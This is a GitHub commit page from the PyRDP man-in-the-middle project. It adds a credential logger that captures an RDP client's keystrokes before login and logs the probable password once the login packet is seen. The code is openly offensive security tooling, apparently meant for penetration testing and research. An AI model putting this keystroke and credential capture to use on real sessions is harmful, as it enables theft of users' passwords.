Skip to content

Commit

Permalink
Merge pull request #106 from GoSecure/harvest_creds
Browse files Browse the repository at this point in the history
Added credential logger
  • Loading branch information
Pourliver committed Jul 2, 2019
2 parents d619c6c + dc3f73c commit de67e7e
Show file tree
Hide file tree
Showing 8 changed files with 131 additions and 18 deletions.
62 changes: 62 additions & 0 deletions pyrdp/mitm/BasePathMITM.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
#
# This file is part of the PyRDP project.
# Copyright (C) 2019 GoSecure Inc.
# Licensed under the GPLv3 or later.
#

from pyrdp.mitm.state import RDPMITMState
from pyrdp.player import keyboard
from pyrdp.enum import ScanCode
from pyrdp.pdu.pdu import PDU
from pyrdp.layer.layer import Layer


class BasePathMITM:
"""
Base MITM component for the fast-path and slow-path layers.
"""

def __init__(self, state: RDPMITMState, client: Layer, server: Layer):
self.state = state
self.client = client
self.server = server

def onClientPDUReceived(self, pdu: PDU):
raise NotImplementedError("onClientPDUReceived must be overridden")

def onServerPDUReceived(self, pdu: PDU):
raise NotImplementedError("onServerPDUReceived must be overridden")

def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool):
"""
Handle scan code.
"""
keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn)
scanCodeTuple = (scanCode, isExtended)

# Left or right shift
if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]:
self.state.shiftPressed = not isReleased
# Caps lock
elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased:
self.state.capsLockOn = not self.state.capsLockOn
# Control
elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]:
self.state.ctrlPressed = not isReleased
# Backspace
elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased:
self.state.inputBuffer += "<\\b>"
# Tab
elif scanCodeTuple == ScanCode.TAB and not isReleased:
self.state.inputBuffer += "<\\t>"
# CTRL + A
elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased:
self.state.inputBuffer += "<ctrl-a>"
# Return
elif scanCodeTuple == ScanCode.RETURN and not isReleased:
self.state.credentialsCandidate = self.state.inputBuffer
self.state.inputBuffer = ""
# Normal input
elif len(keyName) == 1:
if not isReleased:
self.state.inputBuffer += keyName
26 changes: 24 additions & 2 deletions pyrdp/mitm/DeviceRedirectionMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,12 +11,13 @@
from typing import Dict, Optional, Union

from pyrdp.core import FileProxy, ObservedBy, Observer, Subject
from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
from pyrdp.enum import CreateOption, DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \
MajorFunction, MinorFunction
from pyrdp.layer import DeviceRedirectionLayer
from pyrdp.mitm.config import MITMConfig
from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \
DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \
DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \
Expand Down Expand Up @@ -53,7 +54,7 @@ class DeviceRedirectionMITM(Subject):
FORGED_COMPLETION_ID = 1000000


def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig):
def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig, state: RDPMITMState):
"""
:param client: device redirection layer for the client side
:param server: device redirection layer for the server side
Expand All @@ -64,6 +65,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye

self.client = client
self.server = server
self.state = state
self.log = log
self.config = config
self.currentIORequests: Dict[int, DeviceIORequestPDU] = {}
Expand Down Expand Up @@ -128,6 +130,10 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay
elif isinstance(pdu, DeviceListAnnounceRequest):
self.handleDeviceListAnnounceRequest(pdu)

elif isinstance(pdu, DeviceRedirectionPDU):
if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON:
self.handleClientLogin()

if not dropPDU:
destination.sendPDU(pdu)

Expand Down Expand Up @@ -270,6 +276,22 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp
self.saveMapping()


def handleClientLogin(self):
"""
Handle events that should be triggered when a client logs in.
"""

if self.state.credentialsCandidate or self.state.inputBuffer:
self.log.info("Credentials candidate from heuristic: %(credentials_candidate)s", {"credentials_candidate" : (self.state.credentialsCandidate or self.state.inputBuffer) })

# Deactivate the logger for this client
self.state.loggedIn = True
self.state.shiftPressed = False
self.state.capsLockOn = False
self.state.credentialsCandidate = ""
self.state.inputBuffer = ""


def findNextRequestID(self) -> int:
"""
Find the next request ID to be returned for a forged request. Request ID's start from a different base than the
Expand Down
18 changes: 11 additions & 7 deletions pyrdp/mitm/FastPathMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,12 @@

from pyrdp.layer import FastPathLayer
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import FastPathPDU
from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent
from pyrdp.player import keyboard
from pyrdp.enum import ScanCode
from pyrdp.mitm.BasePathMITM import BasePathMITM


class FastPathMITM:
class FastPathMITM(BasePathMITM):
"""
MITM component for the fast-path layer.
"""
Expand All @@ -20,10 +22,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMS
:param server: fast-path layer for the server side
:param state: the MITM state.
"""

self.client = client
self.server = server
self.state = state
super().__init__(state, client, server)

self.client.createObserver(
onPDUReceived = self.onClientPDUReceived,
Expand All @@ -37,6 +36,11 @@ def onClientPDUReceived(self, pdu: FastPathPDU):
if self.state.forwardInput:
self.server.sendPDU(pdu)

if not self.state.loggedIn:
for event in pdu.events:
if isinstance(event, FastPathScanCodeEvent):
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0)

def onServerPDUReceived(self, pdu: FastPathPDU):
if self.state.forwardOutput:
self.client.sendPDU(pdu)
18 changes: 11 additions & 7 deletions pyrdp/mitm/SlowPathMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,13 +4,13 @@
# Licensed under the GPLv3 or later.
#

from pyrdp.enum import CapabilityType, OrderFlag, VirtualChannelCompressionFlag
from pyrdp.enum import CapabilityType, KeyboardFlag, OrderFlag, VirtualChannelCompressionFlag
from pyrdp.layer import SlowPathLayer, SlowPathObserver
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, SlowPathPDU
from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, InputPDU, KeyboardEvent, SlowPathPDU
from pyrdp.mitm.BasePathMITM import BasePathMITM


class SlowPathMITM:
class SlowPathMITM(BasePathMITM):
"""
MITM component for the slow-path layer.
"""
Expand All @@ -20,9 +20,7 @@ def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMS
:param client: slow-path layer for the client side
:param server: slow-path layer for the server side
"""
self.client = client
self.server = server
self.state = state
super().__init__(state, client, server)

self.clientObserver = self.client.createObserver(
onPDUReceived = self.onClientPDUReceived,
Expand All @@ -40,6 +38,12 @@ def onClientPDUReceived(self, pdu: SlowPathPDU):
if self.state.forwardInput:
self.server.sendPDU(pdu)

if not self.state.loggedIn:
if isinstance(pdu, InputPDU):
for event in pdu.events:
if isinstance(event, KeyboardEvent):
self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0)

def onServerPDUReceived(self, pdu: SlowPathPDU):
SlowPathObserver.onPDUReceived(self.serverObserver, pdu)

Expand Down
2 changes: 1 addition & 1 deletion pyrdp/mitm/mitm.py
Original file line number Diff line number Diff line change
Expand Up @@ -297,7 +297,7 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel)
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer)

deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config)
deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.state)
self.channelMITMs[client.channelID] = deviceRedirection

if self.attacker:
Expand Down
18 changes: 18 additions & 0 deletions pyrdp/mitm/state.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,24 @@ def __init__(self):
self.forwardOutput = True
"""Whether output from the server should be forwarded to the client"""

self.loggedIn = False
"""Keep tracks of the client login status"""

self.inputBuffer = ""
"""Used to store what the client types"""

self.credentialsCandidate = ""
"""The potential client password"""

self.shiftPressed = False
"""The current keyboard shift state"""

self.capsLockOn = False
"""The current keyboard capsLock state"""

self.ctrlPressed = False
"""The current keybaord ctrl state"""

self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

Expand Down
2 changes: 1 addition & 1 deletion pyrdp/player/PlayerEventHandler.py
Original file line number Diff line number Diff line change
Expand Up @@ -185,7 +185,7 @@ def onFastPathInput(self, pdu: PlayerPDU):
elif isinstance(event, FastPathMouseEvent):
self.onMouse(event)
elif isinstance(event, FastPathScanCodeEvent):
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0)
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0)


def onUnicode(self, event: FastPathUnicodeEvent):
Expand Down
3 changes: 3 additions & 0 deletions pyrdp/player/keyboard.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,9 @@
from PySide2.QtCore import Qt
from PySide2.QtGui import QKeyEvent

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/089d362b-31eb-4a1a-b6fa-92fe61bb5dbf
KBDFLAGS_EXTENDED = 2

SCANCODE_MAPPING = {
Qt.Key.Key_Escape: 0x01,
Qt.Key.Key_1: 0x02,
Expand Down

0 comments on commit de67e7e

Please sign in to comment.